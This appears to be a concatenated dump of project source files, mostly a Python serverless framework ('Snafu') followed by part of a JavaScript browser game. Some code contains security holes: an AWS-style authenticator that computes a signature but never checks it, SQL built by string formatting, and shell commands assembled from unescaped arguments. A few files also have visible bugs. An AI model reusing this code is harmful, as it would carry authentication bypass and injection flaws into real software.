success = False
dtime = (time.time() - stime) * 1000
return dtime, success, res
```
cli.py
```# Snafu: Snake Functions - CLI Connector
def request():
s = input("Function name:")
return s
def reply(s):
print(s)
```
sqlite.py
```# Snafu: Snake Functions - SQLite Logger
import sqlite3
import os
import configparser
def log(source, function, duration, success, configpath):
logurl = "/tmp/snafu.sqlite"
if not configpath:
configpath = "snafu.ini"
if os.path.isfile(configpath):
config = configparser.ConfigParser()
config.read(configpath)
if "snafu" in config and "logger.sqlite" in config["snafu"]:
logurl = config["snafu"]["logger.sqlite"]
init = False
if not os.path.isfile(logurl):
init = True
conn = sqlite3.connect(logurl)
c = conn.cursor()
if init:
c.execute("CREATE TABLE log (source text, function text, duration real, success bool)")
c.execute("INSERT INTO log (source, function, duration, success) VALUES ('{}', '{}', {}, '{}')".format(source, function, duration, success))
conn.commit()
conn.close()
```
snafu-import
```#!/usr/bin/env python3
#
# Snafu: Snake Functions - Import Utility Comand-Line Tool
import snafulib.snafuimport
snafulib.snafuimport.SnafuImportRunner()
```
lambdaenv.py
```import os
def lambda_handler(event, context):
return os.getenv("THEANSWER") or ""
```
snafu-control
```#!/usr/bin/env python3
#
# Snafu: Snake Functions - Control Plane Command-Line Tool
import snafulib.snafucontrol
snafulib.snafucontrol.SnafuControlRunner()
```
aws.py
```# Snafu: Snake Functions - Lambda Authenticator
import hmac
import hashlib
import base64
import os.path
import configparser
import binascii
def hmacsha256(secret, msg):
return hmac.new(secret, msg=msg, digestmod=hashlib.sha256).digest()
def authorise(flaskrequest):
auth = flaskrequest.headers.get("Authorization")
host = flaskrequest.headers.get("Host")
amzdate = flaskrequest.headers.get("X-Amz-Date")
if not auth or not host or not amzdate:
return False
path = flaskrequest.path
method = flaskrequest.method
auth = auth.split(" ")
if len(auth) != 4:
return False
algo, cred, sh, sig = auth
if algo != "AWS4-HMAC-SHA256":
return False
cred = cred.split("=")
sh = sh.split("=")
sig = sig.split("=")
if len(cred) != 2 or len(sh) != 2 or len(sig) != 2:
return False
if cred[0] != "Credential" or sh[0] != "SignedHeaders" or sig[0] != "Signature":
return False
cred = cred[1][:-1]
sh = sh[1][:-1]
sig = sig[1]
cred = cred.split("/")
if len(cred) != 5:
return False
keyid, date, region, service, request = cred
c = configparser.ConfigParser()
try:
accdb = os.path.expanduser("~/.snafu-accounts")
if os.getenv("HOME") == "/":
accdb = "/root/.snafu-accounts"
c.read(accdb)
except:
return False
sections = c.sections()
secretkey = None
for section in sections:
ckeyid = c.get(section, "access_key_id")
if ckeyid == keyid:
secretkey = c.get(section, "secret_access_key")
break
if not secretkey:
return False
enc = "utf-8"
b_secretkey = bytes("AWS4" + secretkey, enc)
b_date = bytes(date, enc)
b_region = bytes(region, enc)
b_service = bytes(service, enc)
b_request = bytes(request, enc)
ch = ""
ch += "host:{}".format(host) + "\n"
ch += "x-amz-date:{}".format(amzdate) + "\n"
# FIXME: check existing sh for required fields
#sh = "host" + ";" + "x-amz-date"
payload = flaskrequest.data
hp = hashlib.sha256(payload).hexdigest()
cr = ""
cr += method + "\n"
cr += path + "\n"
cr += "" + "\n"
cr += ch + "\n"
cr += sh + "\n"
cr += hp
hcr = base64.b16encode(hashlib.sha256(bytes(cr, "utf-8")).digest()).decode("utf-8").lower()
sts = ""
sts += algo + "\n"
sts += amzdate + "\n"
sts += "{}/{}/{}/{}".format(date, region, service, request) + "\n"
sts += hcr
b_string = bytes(sts, enc)
dig_dk = hmacsha256(b_secretkey, b_date)
dig_drk = hmacsha256(dig_dk, b_region)
dig_drsk = hmacsha256(dig_drk, b_service)
dig_sk = hmacsha256(dig_drsk, b_request)
dig_sig = hmacsha256(dig_sk, b_string)
signature = binascii.hexlify(dig_sig).decode("utf-8")
#print("SIGNATURE", signature)
#print("MATCH ", sig)
#return True
return keyid
```
filesystem.py
```# Snafu: Snake Functions - Filesystem Connector
import pyinotify
import threading
import os
import configparser
gcb = None
gf = None
class EventHandler(pyinotify.ProcessEvent):
def process_IN_CREATE(self, event):
event = {"file": event.pathname, "action": "create"}
gcb(gf, event=event)
def process_IN_DELETE(self, event):
event = {"file": event.pathname, "action": "delete"}
gcb(gf, event=event)
def initinternal(function, configpath):
global gcb
gf = function
connecturl = None
if not configpath:
configpath = "snafu.ini"
if not function:
function = "snafu"
if os.path.isfile(configpath):
config = configparser.ConfigParser()
config.read(configpath)
if function in config and "connector.filesystem" in config[function]:
connecturl = config[function]["connector.filesystem"]
if connecturl:
wm = pyinotify.WatchManager()
handler = EventHandler()
notifier = pyinotify.Notifier(wm, handler)
mask = pyinotify.IN_DELETE | pyinotify.IN_CREATE
wdd = wm.add_watch(connecturl, mask, rec=True)
notifier.loop()
def init(cb, function=None, configpath=None):
global gcb
gcb = cb
t = threading.Thread(target=initinternal, daemon=True, args=(function, configpath))
t.start()
```
fib.py
```import time
import math
import json
import os
from boto3 import client as boto3_client
hostaccess = False
host = "localhost"
if hostaccess and os.path.isfile("/.dockerenv"):
host = "172.17.0.1"
lambda_client = boto3_client('lambda', endpoint_url='http://{}:10000'.format(host))
lambda_client._endpoint.timeout = 300 # comment for reaper
def fib(x):
msg = {"x": x}
import sys
fullresponse = lambda_client.invoke(FunctionName="fib.lambda_handler", Payload=json.dumps(msg))
response = json.loads(fullresponse["Payload"].read().decode("utf-8"))
return response["ret"]
def lambda_handler(event, context):
#time.sleep(0.1) # uncomment for reaper
x = event["x"]
if x in (1, 2):
return {"ret": 1}
ret = fib(x - 1) + fib(x - 2)
ret = {'ret': ret}
return ret
```
snafu
```#!/usr/bin/env python3
#
# Snafu: Snake Functions - Main Command-Line Tool
import snafulib.snafu
snafulib.snafu.SnafuRunner()
```
web.py
```# Snafu: Snake Functions - Web Connector
import flask
import threading
import os
import configparser
app = flask.Flask("snafu")
gcb = None
@app.route("/invoke/<function>")
def invoke(function):
response = gcb(function)
if not response:
flask.abort(500)
return response
def initinternal(function, configpath):
connectconfig = None
if not configpath:
configpath = "snafu.ini"
if not function:
function = "snafu"
if os.path.isfile(configpath):
config = configparser.ConfigParser()
config.read(configpath)
if function in config and "connector.web" in config[function]:
connectconfig = int(config[function]["connector.web"])
if connectconfig:
app.run(host="0.0.0.0", port=connectconfig)
def init(cb, function=None, configpath=None):
global gcb
gcb = cb
t = threading.Thread(target=initinternal, daemon=True, args=(function, configpath))
t.start()
```
messaging.py
```# Snafu: Snake Functions - Messaging Connector
import kombu
import threading
import time
import os
import configparser
gcb = None
def initinternal(function, configpath):
connecturl = None
if not configpath:
configpath = "snafu.ini"
if not function:
function = "snafu"
if os.path.isfile(configpath):
config = configparser.ConfigParser()
config.read(configpath)
if function in config and "connector.messaging" in config[function]:
connecturl = config[function]["connector.messaging"]
if not connecturl:
return
print("(messaging:connecting)")
connection = kombu.Connection(connecturl)
connection.connect()
print("(messaging:connected)")
queue = connection.SimpleQueue("sslq")
while True:
try:
message = queue.get(block=True, timeout=20)
except:
print("(messaging:pass)")
pass
else:
print("(messaging:received {})".format(message.payload))
message.ack()
# FIXME: send back response as AMQP message
response = gcb(function, event="{}")
queue.close()
def init(cb, function=None, configpath=None):
global gcb
gcb = cb
t = threading.Thread(target=initinternal, daemon=True, args=(function, configpath))
t.start()
```
java.py
```# Snafu: Snake Functions - Java Executor
#import json
#import pickle
#import base64
import subprocess
import os
import time
def execute(func, funcargs, envvars, sourceinfos):
classname = os.path.basename(sourceinfos.source).split(".")[0]
methodname = func.split(".")[1]
#print(">> call", classname, methodname, func, funcargs, envvars, sourceinfos.source)
#classname, methodname = func.split(".")
javacmd = "java -cp snafulib/executors/java/:{} JavaExec {} {} {}".format(os.path.dirname(sourceinfos.source), classname, methodname, " ".join(funcargs))
#print(">> javacmd", javacmd)
stime = time.time()
out, err = subprocess.Popen(javacmd, shell=True, stdout=subprocess.PIPE).communicate()
dtime = (time.time() - stime) * 1000
#print(">> result", out)
out = out.decode("utf-8").split("\n")[-2]
return dtime, True, out
```
snafuaccounts.py
```# Snafu: Snake Functions - Account Management
import sys
import os.path
import argparse
import configparser
class SnafuAccounts:
def __init__(self):
self.accounts = {}
def addaccount(self, key, secret, endpoint):
accdb = os.path.expanduser("~/.snafu-accounts")
if os.getenv("HOME") == "/":
accdb = "/root/.snafu-accounts"
c = configparser.ConfigParser()
try:
c.read(accdb)
except:
pass
acc = "account{}".format(len(c.sections()))
c.add_section(acc)
c.set(acc, "access_key_id", key)
c.set(acc, "secret_access_key", secret)
if endpoint:
c.set(acc, "endpoint", endpoint)
f = open(accdb, "w")
c.write(f)
def run(self):
parser = argparse.ArgumentParser(description="Snake Functions as a Service - Account Management")
parser.add_argument("-a", "--add", help="add an account", action="store_true")
parser.add_argument("-k", "--key-id", help="access key id")
parser.add_argument("-s", "--secret-access-key", help="secret access key")
parser.add_argument("-e", "--endpoint", help="tenant-specific static endpoint")
args = parser.parse_args()
if args.add:
if not args.key_id or not args.secret_access_key:
print("Error: Must specify both --key-id and --secret-access-key for --add.", file=sys.stderr)
return
self.addaccount(args.key_id, args.secret_access_key, args.endpoint)
else:
print("Error: Must specify --add.", file=sys.stderr)
return
class SnafuAccountsRunner:
def __init__(self):
sa = SnafuAccounts()
sa.run()
```
csv.py
```# Snafu: Snake Functions - CSV Logger
import os
import configparser
def log(source, function, duration, success, configpath):
logurl = "snafu.csv"
if not configpath:
configpath = "snafu.ini"
if os.path.isfile(configpath):
config = configparser.ConfigParser()
config.read(configpath)
if "snafu" in config and "logger.csv" in config["snafu"]:
logurl = config["snafu"]["logger.csv"]
# FIXME: this part must become mt-safe through a protected section
f = open(logurl, "a")
print("{},{},{:1.3f},{}".format(source, function, duration, success), file=f)
f.close()
```
cron.py
```# Snafu: Snake Functions - Cron Connector
import threading
import time
import os
import configparser
gcb = None
def initinternal(function, configpath):
connectconfig = None
if not configpath:
configpath = "snafu.ini"
if not function:
function = "snafu"
if os.path.isfile(configpath):
config = configparser.ConfigParser()
config.read(configpath)
if function in config and "connector.cron" in config[function]:
connectconfig = int(config[function]["connector.cron"])
if connectconfig:
while True:
time.sleep(connectconfig)
response = gcb(function, event="{}")
def init(cb, function=None, configpath=None):
global gcb
gcb = cb
t = threading.Thread(target=initinternal, daemon=True, args=(function, configpath))
t.start()
```
java.py
```# Snafu: Snake Functions - Java Parser
import os
import subprocess
def precheck():
r = subprocess.run("java 2>/dev/null", shell=True)
if r.returncode == 127:
return False
return True
def activatefile(self, source, convention, SnafuFunctionSource):
if not os.path.isfile("snafulib/executors/java/JavaExec.class"):
pwd = os.getcwd()
os.chdir("snafulib/executors/java")
os.system("javac JavaExec.java")
os.chdir(pwd)
funcname = None
configname = source.split(".")[0] + ".config"
if os.path.isfile(configname):
if not self.quiet:
print(" config:", configname)
config = json.load(open(configname))
if config:
funcname = config["FunctionName"]
else:
if convention == "lambda":
if not self.quiet:
print(" skip source {}".format(source))
return
if source.endswith(".java"):
binfile = source.replace(".java", ".class")
if not os.path.isfile(binfile):
if not self.quiet:
print("» java source:", source)
pwd = os.getcwd()
os.chdir(os.path.dirname(source))
os.system("javac {}".format(os.path.basename(source)))
os.chdir(pwd)
source = binfile
else:
return
if not self.quiet:
print("» java module:", source)
if funcname:
# FIXME: shortcut leading to non-executable code for Lambda-imported Java
if not self.quiet:
print(" function: {}".format(funcname))
sourceinfos = SnafuFunctionSource(source, scan=False)
self.functions[funcname] = ([funcname], None, sourceinfos)
return
#javacmd = "java -cp executors/java/:{} JavaExec {} fib 3".format(os.path.dirname(source), os.path.basename(source).split(".")[0])
#javacmd = "java JavaExec Hello myHandler 5 null"
#print("JAVA", javacmd)
javacmd = "java -cp snafulib/executors/java/:{} JavaExec {} SCAN".format(os.path.dirname(source), os.path.basename(source).split(".")[0])
#os.system(javacmd)
out, err = subprocess.Popen(javacmd, shell=True, stdout=subprocess.PIPE).communicate()
for funcname in out.decode("utf-8").split("\n"):
if not funcname:
continue
funcname, *funcparams = funcname.split(" ")
funcname = os.path.basename(source).split(".")[0] + "." + funcname
if not self.quiet:
print(" function: {}".format(funcname))
sourceinfos = SnafuFunctionSource(source, scan=False)
self.functions[funcname] = ([funcname] + funcparams, None, sourceinfos)
```
sleep.py
```import time
def sleep():
# > maximum timeout of Lambda
time.sleep(310)
def lambda_handler(event, context):
sleep()
```
localfib.py
```def fib(n):
if type(n) == str:
n = int(n)
if n in (1, 2):
return 1
return fib(n - 1) + fib(n - 2)
```
c.py
```# Snafu: Snake Functions - C Executor
import subprocess
import os
import time
def execute(func, funcargs, envvars, sourceinfos):
#print(">> call", func, funcargs, envvars, sourceinfos.source)
ccmd = "snafulib/executors/c/cexec {} {}".format(sourceinfos.source, " ".join(funcargs))
stime = time.time()
out, err = subprocess.Popen(ccmd, shell=True, stdout=subprocess.PIPE).communicate()
dtime = (time.time() - stime) * 1000
try:
out = out.decode("utf-8").split("\n")[-2]
success = True
except:
out = ""
success = False
return dtime, success, out
```
python3-trace-exec.py
```# Snafu: Snake Functions - Python3 Executor (Exec Module)
import sys
import os
import time
import json
import base64
import pickle
import psutil
import datetime
import uuid
class Context:
def __init__(self):
self.SnafuContext = self
# def __new__(self):
# self.SnafuContext = self
# return self
frame_time_dict = {'frame': time.time()}
open_connections_old = []
open_connections = []
open_files_old = []
open_files = []
saved_variables = {'last_line': 0, 'last_time': -1}
proc = psutil.Process(os.getpid())
time_now = datetime.datetime.fromtimestamp(time.time()).strftime('%y%m%d-%H%M')
short_uuid = uuid.uuid4().hex[0:8]
func_name = sys.argv[2]
file_to_print_to_name = "trace_log-" + func_name + \
"-" + time_now + '-' + short_uuid + ".log"
file_to_print_to = open(file_to_print_to_name, 'w')
print("Printing trace to " + file_to_print_to_name, file=sys.stderr)
def trace(frame, event, arg):
# Potential optimization: put caller_string and function_string into a
# dictionary
# getting what code was called
line_no = frame.f_lineno
funcname = frame.f_code.co_name
filename = frame.f_code.co_filename
function_string = str(filename) + '.' + str(funcname)
# monitor performance metrics
interval = 10
if saved_variables['last_time'] == -1:
proc.cpu_percent()
proc.memory_percent()
saved_variables['last_time'] = time.time()
if int(100 * (time.time() - saved_variables['last_time'])) > interval:
print('performance -- CPU: ' +
str(proc.cpu_percent()) +
'% - Memory: ' +
str(proc.memory_percent()) +
'%', file=file_to_print_to)
saved_variables['last_time'] = time.time()
# monitor network connections
open_conections = proc.connections()
# check for newly closed connections
for connection in open_connections_old:
if connection not in open_conections:
protocol = 'udp' if connection.status == psutil.CONN_NONE else 'tcp'
print('Connection CLOSED by ' + function_string + ': ' + protocol +
' connection from ' + connection.laddr.ip + ':' + str(connection.laddr.port) +
' to ' + connection.raddr.ip + ':' + str(connection.laddr.port), file=file_to_print_to)
open_connections_old.remove(connection)
# check for newly opened connections
for connection in open_conections:
if connection not in open_connections_old:
protocol = 'udp' if connection.status == psutil.CONN_NONE else 'tcp'
print('Connection OPENED by ' + function_string + ': ' + protocol +
' connection from ' + connection.laddr.ip + ':' + str(connection.laddr.port) +
' to ' + connection.raddr.ip + ':' + str(connection.laddr.port), file=file_to_print_to)
open_connections_old.append(connection)
open_files = proc.open_files()
for open_file in open_files_old:
if open_file not in open_files:
acces_type = open_file.mode
print(
'File CLOSED by ' +
function_string +
' - Path: ' +
open_file.path,
file=file_to_print_to) # TODO give more details about file
open_files_old.remove(open_file)
for open_file in open_files:
if open_file not in open_files_old:
acces_type = open_file.mode
print(
'File OPENED by ' +
function_string +
' in mode \'' +
acces_type +
'\' - Path: ' +
open_file.path,
file=file_to_print_to) # TODO give more details about file
open_files_old.append(open_file)
# getting who called the code
has_caller = frame.f_back is not None
caller_string = ''
if has_caller:
caller = frame.f_back
caller_funcname = caller.f_code.co_name
caller_filename = caller.f_code.co_filename
caller_string = caller_filename + '.' + caller_funcname
if event == 'call':
# inserting start time for the frame
frame_time_dict[frame] = time.time()
print(
'call from \t' +
caller_string +
' to ' +
function_string,
file=file_to_print_to)
if event == 'return':
# taking out the time for frame
time_elapsed_ms = round(
(time.time() - frame_time_dict[frame]) * 1000, 6)
print(
'return from \t' +
function_string +
' to ' +
caller_string +
' - time elapsed: ' +
str(time_elapsed_ms) +
"ms",
file=file_to_print_to)
if event == 'exception':
# TODO manually get traceback by calling the f_back objects and saving
# last called line per frame
print('exception in \t' + function_string + ' at line ' + \
str(saved_variables['last_line']) + ': ' + str(arg), file=file_to_print_to)
if event == 'line':
saved_variables['last_line'] = frame.f_lineno
# need to return tracefunc so that it still works after functioncalls
return trace
def execute(filename, func, funcargs, envvars):
funcargs = json.loads(funcargs)
envvars = json.loads(envvars)
for i, funcarg in enumerate(funcargs):
if type(funcarg) == str and funcarg.startswith("pickle:"):
sys.modules["lib"] = Context()
sys.modules["lib.snafu"] = Context()
#funcarg = pickle.loads(base64.b64decode(funcarg.split(":")[1]))
# FIXME: SnafuContext as in python2-exec module
funcarg = None
sys.path.append(".")
os.chdir(os.path.dirname(filename))
mod = __import__(os.path.basename(filename[:-3]))
func = getattr(mod, func)
for envvar in envvars:
os.environ[envvar] = envvars[envvar]
stime = time.time()
try:
# activate tracing
sys.settrace(trace)
res = func(*funcargs)
# deactivate tracing
sys.settrace(None)
success = True
except Exception as e:
res = e
success = False
dtime = (time.time() - stime) * 1000
# return dtime, success, res
return "{} {} {}".format(
dtime,
success,
"{}".format(res).replace(
"'",
"\""))
print(execute(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]))
```
openshift.py
```# Snafu: Snake Functions - OpenShift Executor
import requests
import os
import configparser
import subprocess
container = "jszhaw/snafu"
endpoints = {}
def executecontrol(flaskrequest, tenant):
if not tenant in endpoints:
username = os.getenv("OPENSHIFT_USERNAME")
password = os.getenv("OPENSHIFT_PASSWORD")
password = os.getenv("OPENSHIFT_PROJECT")
if not username or not password or not project:
return
os.system("oc login https://console.appuio.ch/ --username={} --password={}".format(username, password))
os.system("oc project {}".format(project))
os.system("oc new-app --name snafu-{} jszhaw/snafu".format(tenant))
p = subprocess.run("oc status | grep svc/snafu-{} | cut -d " " -f 3".format(tenant), shell=True, stdout=subprocess.PIPE)
endpoints[tenant] = "http://{}".format(p.decode("utf-8"))
# FIXME: mounting the tenant's volume container to /opt/functions-local
endpoint = endpoints[tenant]
headers = {}
headers["X-Amz-Date"] = flaskrequest.headers.get("X-Amz-Date")
data = flaskrequest.data.decode("utf-8")
#method=r.method -> requests.post
reply = requests.post(endpoint + flaskrequest.path, data=data, headers=headers)
if reply.status_code == 200:
return reply.content.decode("utf-8")
else:
return
```
python.py
```# Snafu: Snake Functions - Python Parser
import os
import ast
import importlib
import types
import sys
import json
def activatefile(self, source, convention, SnafuFunctionSource):
sourceinfos = None
try:
sourceinfos = SnafuFunctionSource(source)
sourcecode = sourceinfos.content
except:
print("Warning: {} is not parseable, skipping.".format(source), file=sys.stderr)
return
if not self.quiet:
print("» module:", source)
handler = None
config = None
configname = source.split(".")[0] + ".config"
if os.path.isfile(configname):
if not self.quiet:
print(" config:", configname)
config = json.load(open(configname))
if config:
if "Handler" in config:
handler = config["Handler"]
connectorconfig = None
connectorconfigname = source.split(".")[0] + ".ini"
if os.path.isfile(connectorconfigname):
if not self.quiet:
print(" connectors:", connectorconfigname)
connectorconfig = connectorconfigname
sourcetree = ast.parse(sourcecode)
loader = importlib.machinery.SourceFileLoader(os.path.basename(source), source)
mod = types.ModuleType(loader.name)
sourceinfos.module = mod
if not os.path.dirname(source) in sys.path:
sys.path.append(os.path.dirname(source))
try:
loader.exec_module(mod)
except Exception as e:
if not self.quiet:
print(" Warning: skipping due to import error: {}".format(e))
return
sourcename = os.path.basename(source).split(".")[0]
for node in ast.walk(sourcetree):
if type(node) == ast.FunctionDef:
if not handler:
handlername = "lambda_handler"
handlerbase = sourcename
else:
handlerbase, handlername = handler.split(".")
if convention not in ("lambda", "openwhisk") or (node.name == handlername and sourcename == handlerbase):
funcname = sourcename + "." + node.name
if config and "FunctionName" in config and convention in ("lambda", "openwhisk"):
funcname = config["FunctionName"]
try:
func = getattr(mod, node.name)
except:
print(" skip method {}.{}".format(sourcename, node.name))
else:
if not self.quiet:
print(" function: {}".format(funcname))
#if not node.name in self.functions:
# self.functions[node.name] = {}
#self.functions[node.name][sourcename] = (func, config, sourceinfos)
self.functions[funcname] = (func, config, sourceinfos)
if connectorconfig:
self.functionconnectors[funcname] = connectorconfig
else:
if not self.quiet:
print(" skip function {}.{}".format(sourcename, node.name))
```
proxy.py
```# Snafu: Snake Functions - Proxy Executor
import requests
import os
import configparser
def executecontrol(flaskrequest, tenant):
endpoint = None
if tenant:
c = configparser.ConfigParser()
try:
accdb = os.path.expanduser("~/.snafu-accounts")
if os.getenv("HOME") == "/":
accdb = "/root/.snafu-accounts"
c.read(accdb)
except:
return
sections = c.sections()
for section in sections:
ckeyid = c.get(section, "access_key_id")
if ckeyid == tenant:
endpoint = c.get(section, "endpoint")
break
else:
config = configparser.ConfigParser()
config.read("snafu.ini")
if "snafu" in config and "executor.proxy" in config["snafu"]:
endpoint= config["snafu"]["executor.proxy"]
if not endpoint:
return
headers = {}
headers["X-Amz-Date"] = flaskrequest.headers.get("X-Amz-Date")
data = flaskrequest.data.decode("utf-8")
#method=r.method -> requests.post
reply = requests.post(endpoint + flaskrequest.path, data=data, headers=headers)
if reply.status_code == 200:
return reply.content.decode("utf-8")
else:
return
```
inmemory.py
```# Snafu: Snake Functions - In-Memory Executor
import os
import time
def execute(func, funcargs, envvars, sourceinfos):
for envvar in envvars:
os.environ[envvar] = envvars[envvar]
stime = time.time()
try:
res = func(*funcargs)
success = True
except Exception as e:
res = e
success = False
dtime = (time.time() - stime) * 1000
return dtime, success, res
```
perfMetrics.py
```# Performance metrics generation, useful for testing python3trace executor
import psutil
import os
import sys
import socket
def waste_cpu():
for x in range(0,999999):
pass
def connect_tcp():
TCP_IP = '127.0.0.1'
TCP_PORT = 5006
BUFFER_SIZE = 1024
MESSAGE = b'Hello, World!'
#--
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE)
data = s.recv(BUFFER_SIZE)
s.close()
#--
def open_file():
code = open('localfib.py','r')
content = code.read()
```
|
00s/lorn
|
00s/lorn
Diamond.js
```// Diamond CLass
var Diamond = (function () {
// constructor
function Diamond(x, y) {
this._width = 52;
this._height = 40;
// spriteSheet setup
this.data = {
images: [queue.getResult("diamond")],
frames: { width: this._width, height: this._height, regX: 26, regY: 20},
animations: {
glow: [0, 2, "glow", 0.3]
}
};
this.spriteSheet = new createjs.SpriteSheet(this.data);
this.animation = new createjs.Sprite(this.spriteSheet, "glow");
this.animation.scaleX = 0.5;
this.animation.scaleY = 0.5;
// x and y params used for seting the object in stage
this.animation.x = x;
this.animation.y = y;
stage.addChild(this.animation);
console.log("diamond added at " + x +", "+ y);
}
Diamond.prototype.update = function (sense, velocity) {
this.animation.x -= sense*(velocity);
}
Diamond.prototype.redefinePosition = function () {
this.animation.x = canvasW * 5;
}
FireBall.prototype.dismiss = function () {
stage.removeChild(this.animation);
}
return Diamond;
})();
```
Tree.js
```var BLUR_AMOUNT = 20;
var BLUR_RADIUS = 1;
var Tree = (function () {
function Tree (x, y, parallax) {
this.PARALLAX_FACTOR = 8;
this.parallax = parallax;
this.image = new createjs.Bitmap(queue.getResult("tree"));
this.width = this.image.getBounds().width;
this.height = this.image.getBounds().height;
var blur = new createjs.BlurFilter((1.2 - parallax) *BLUR_AMOUNT,(1.2 - parallax) *BLUR_AMOUNT,BLUR_RADIUS);
this.image.filters = [blur];
this.image.cache(0,0,this.width, this.height);
this.image.regX = this.width * 0.5;
this.image.regY = this.height;
this.image.scaleX *= parallax;
this.image.scaleY *= parallax;
this.image.x = x;
this.image.y = y;
stage.addChild(this.image);
}
Tree.prototype.move = function (sense) {
this.image.x -= sense*(this.parallax * this.PARALLAX_FACTOR);
}
return Tree;
})();```
game.js
```// ©
var stage;
var queue;
var canvas;
// ENUM for keys
Key = {
UP : 38,
LEFT : 37,
RIGHT : 39,
SPACE : 32,
P: 80,
I: 73,
O:79,
M: 77
}
// ENUM GAME STATE
Game = {
HOME : 0,
PLAYING : 1,
OVER : 2
}
// Game state
var state;
//controls
var controls
// reference for Instructions
var dejavu = false;
// gameOver obj
var endMessage
// soundtrack
var soundtrack;
// Game Objects
var display;
var lorn;
var diamond;
// FireBall Array
var fireballs = [];
// Tree Array
var trees = [];
// Cats Array
var cats = [];
// Game Constants
var TREE_NUM = 11;
var CAT_NUM = 4;
var GROUND_LEVEL = Math.max( window.innerHeight, document.body.clientHeight) - 35;
var PARALLAX = 8;
var LORN_REG_Y = 24;
var CAT_REG_Y = 16;
var TREE_REG_Y = 124;
var GAME_FONT = "VT323";
var FONT_SIZE = 22;
var FONT_COLOUR = "white";
function preload() {
queue = new createjs.LoadQueue();
queue.installPlugin(createjs.Sound);
queue.addEventListener("loadstart", loading);
queue.addEventListener("complete", init);
queue.loadManifest([
{ id: "diamond-song", src: "sounds/Lorn-Diamond.ogg" },
{ id: "thunder", src: "sounds/thunder.ogg" },
{ id: "engine", src: "sounds/engine.ogg" },
{ id: "lorn", src: "images/lorn.png" },
{ id: "fireball", src: "images/fireball.png" },
{ id: "cat", src: "images/cat.png"},
{ id: "tree", src: "images/tree.png"},
{ id: "diamond", src: "images/diamond.png"},
{ id: "brand", src: "images/gamebrand.png"},
{ id: "controls", src: "images/controls.png"}
]);
}
function loading(){
stage = new createjs.Stage(document.getElementById("canvas"));
canvas = document.getElementById("canvas");
canvas.width = document.body.clientWidth; //document.width is obsolete
canvas.height = GROUND_LEVEL; //document.height is obsolete
canvasW = canvas.width;
canvasH = canvas.height;
stage.addChild(new Display(". . .", 90, GAME_FONT, FONT_COLOUR, canvasW * 0.45, canvasH * 0.5));
}
function init() {
stage.removeAllChildren();
// game soundtrack
soundtrack = createjs.Sound.play("diamond-song");
soundtrack.stop();
soundtrack.addEventListener("complete", createjs.proxy(this.handleComplete, this));
soundtrack.volume = 0.1;
// handlers for keyboard inputs
window.addEventListener( "keydown", handleKeyDown, false );
window.addEventListener( "keyup", handleKeyUp, false );
//stage.enableMouseOver(20);
createjs.Ticker.setFPS(40);
createjs.Ticker.addEventListener("tick", gameLoop);
//gameStart();
state = Game.HOME;
}
// Game Loop
function gameLoop(event) {
// switches between game states
switch(state){
case Game.HOME:
homeScreen();
break;
case Game.PLAYING:
playing();
break;
case Game.OVER:
gameover();
break;
}
stage.update();
}
function getCentralizedBitmap(idOrUrl){
var bit = new createjs.Bitmap(queue.getResult(idOrUrl));
bit.regX = bit.getBounds().width * 0.5;
bit.regY = bit.getBounds().height * 0.5;
bit.x = canvasW * 0.5;
bit.y = canvasH * 0.5;
return bit;
}
function homeScreen () {
stage.clear();
var brand = getCentralizedBitmap("brand");
stage.addChild(brand);
}
function presentControls(){
if(!this.dejavu){
controls = getCentralizedBitmap("controls");
controls.y = canvasW * 0.10;
stage.addChild(controls);
setTimeout(function(){
stage.removeChild(controls);
this.dejavu = true;
}, 5000);
}
}
function playing(){
if(lorn.lives <= 0)
state = Game.OVER;
if(!lorn.hitten)
for (var count = 0; count < CAT_NUM; count++) {
if(rectCollisionDetection(lorn, cats[count])){
lorn.wasHitten();
console.log("Lorn lives: " + lorn.lives);
}
}
updateTrees();
lorn.update();
updateFireBalls();
diamond.update(lorn.getSense(true), PARALLAX);
if(rectCollisionDetection(lorn, diamond)){
lorn.colectDiamond();
diamond.redefinePosition();
}
for (var count = 0; count < CAT_NUM; count++) {
cats[count].update(lorn.getSense(true));
}
// get player status and update display screen
display.update(lorn.toString());
}
function gameover() {
// gameover
lastStatus = lorn.getTotalScore();
lastStatus = (lastStatus > 0) ? lastStatus : 0;
stage.clear();
stage.removeAllChildren();
soundtrack.stop();
fireballs = [];
trees = [];
cats = [];
var gameoverMsg = new Display("GAME OVER", 90, "VT323", "white", canvasW * 0.5, canvasH *0.2);
var scores = new Display("YOU SCORED "+ lastStatus, 85, "VT323", "white", canvasW * 0.5, canvasH *0.5);
var reminder = endMessage = new Display("press space to restart", 50, "VT323", "white", canvasW * 0.5, canvasH *0.8);
}
function updateTrees(){
for(var count = 0 ; count < TREE_NUM ; count++){
var tree = trees[count];
tree.move(lorn.getSense(true));
// reuse trees when they are out of the bounds
if(tree.image.x < -(canvasW * 0.5)){
tree.image.x = canvasW + canvasW * 0.25;
}
if(tree.image.x > canvasW + canvasW * 0.5){
tree.image.x = -(canvasW * 0.25)
}
}
}
function updateFireBalls(){
// update each fireball on stage and remove from stage the ones that are out of view.
for (i = 0; i < fireballs.length; i++) {
if(fireballs[i] !== undefined){
fireballs[i].update(lorn.getSense());
var dismissable = false;
if(fireballs[i].animation.x > canvasW || fireballs[i].animation.x < 0){
dismiss(fireballs[i], fireballs, i);
dismissable = true;
}
// check colision between fireballs and cats
for (var count = 0; count < CAT_NUM; count++) {
var cat = cats[count];
if(rectCollisionDetection(fireballs[i], cat)){
cat.randomizeCatDrop();
dismissable = true;
lorn.hitCat();
console.log("fireball has hitten a poor cat");
}
}
if(dismissable)
dismiss(fireballs[i], fireballs, i);
}
}
}
// Keyboard handlers
function handleKeyDown(event){
switch(event.keyCode){
case Key.UP:
console.log("Key.UP pressed");
lorn.startJump();
break;
case Key.LEFT:
console.log("Key.LEFT pressed");
lorn.moveLeft();
break;
case Key.RIGHT:
console.log("Key.RIGHT pressed");
lorn.moveRight();
break;
case Key.I:
// volume down
soundtrack.volume -= 0.05;
break;
case Key.O:
// volume up
soundtrack.volume += 0.05;
break;
case Key.M:
soundtrack.setMute(!soundtrack.getMute());
break;
case Key.P:
break;
}
}
function handleKeyUp(event){
if(state == Game.HOME){
state = Game.PLAYING;
gameStart();
}else{
switch(event.keyCode){
case Key.UP:
console.log("Key.UP released");
lorn.endJump();
break;
case Key.SPACE:
// RESTART GAME if state is Game.OVER
if(state == Game.OVER){
